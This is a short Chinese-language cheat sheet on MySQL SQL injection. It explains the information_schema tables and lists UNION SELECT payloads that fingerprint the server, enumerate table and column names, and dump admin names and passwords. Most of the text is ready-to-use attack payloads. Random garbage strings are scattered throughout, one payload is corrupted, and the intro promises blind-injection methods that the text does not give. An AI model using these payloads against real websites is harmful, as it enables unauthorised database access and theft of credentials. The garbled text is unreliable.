mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库
9 J1 c& r( B' Z! k1 c3 p$ n2 M8 R% m
' W7 V- G  `2 c& tMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
+ I  y* L5 k: A" ^7 f/ q1.得到所有数据库名：
7 K4 B8 V# K1 V0 S|SCHEMATA ->存储数据库名的表
' e* o  }8 {$ C+ @5 H|---字段：SCHEMA_NAME ->数据库名称

4 w- m* e" S, Z2 n|TABLES ->存储表名
7 a4 B+ O% i$ ~4 w. T+ l|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
% L4 z/ I% B# X$ x|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
( ?! L4 O0 d1 ]9 h( U|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
, g3 x- r" ~, Z, m
|---字段：COLUMN_NAME ->该字段的名称
: e! \: B0 |5 K4 ]  K+ l- X) ?
5 W4 ^  ~6 F' y

###########################################################################

# w* q$ h4 f4 Q/ C4 ^- g0x001 获取系统信息:
+ W' o" y) K  H: r
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
9 S8 d$ E: _5 ~3 K' r
1 n( J1 N$ X6 T9 n5 @/*
2 E3 E! f, N$ E- z- L& Y- M
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
- {% \/ K' R6 H& l  A9 ~) [" Qdatabase() 当前数据库名称
0x3c62723e 换行HEX值
& Z! w9 |- o" a- P
( U4 B) {4 W6 P*/

* H7 H' c0 k; ?2 {) B4 G

######################################################################
) R( m7 d+ o2 a
0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

6 m0 O1 B: N  k  S. \

( e) M1 c7 e  F6 X" c( d* j, I7 Q/*

0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 i& F) }  Y2 r% P; a8 b
4 _- i. Y5 H2 I*/

' t5 R% M- K/ b3 m6 X: a######################################################################

( i  ^& a1 G1 d! m

: [, K3 d! h' A9 U# F0x003 获取字段
  n) e* F1 g6 r5 N* v0 Z5 s& V
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*
% X7 k- ]3 j$ G7 F" B( F
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
! m9 q7 R" g, n& o, h& Y$ {
0x61646d696e ->选择一个表
+ g9 Q8 I# B( j- K' g& g
/ E' `6 f* B2 ]0x67617264656e ->数据库名

*/
. a1 ]6 Y% L2 }7 A4 F9 q6 P. J
#####################################################################
- }8 m' Q  n9 p8 k7 \


0x004 获取数据
2 z* U# P/ k/ h- H# _- W
union select 1,2,3
" w6 ]' M' d9 i& |$ l,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
6 M6 k) A7 O. N2 K. ^7 }$ k7 M# V2 b
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- u' h% w7 @- `- r

4 [( F- d8 H' K
; v: h! {# ^8 E; H7 V/*

0x3c62723e 换行符号HEX编码

) ]1 O& `5 z4 x' Sgroup_concat 同时获得该字段所有数据
3 j0 f8 V. n9 }: w3 U
*/
5 k3 y4 O$ N1 D$ {5 e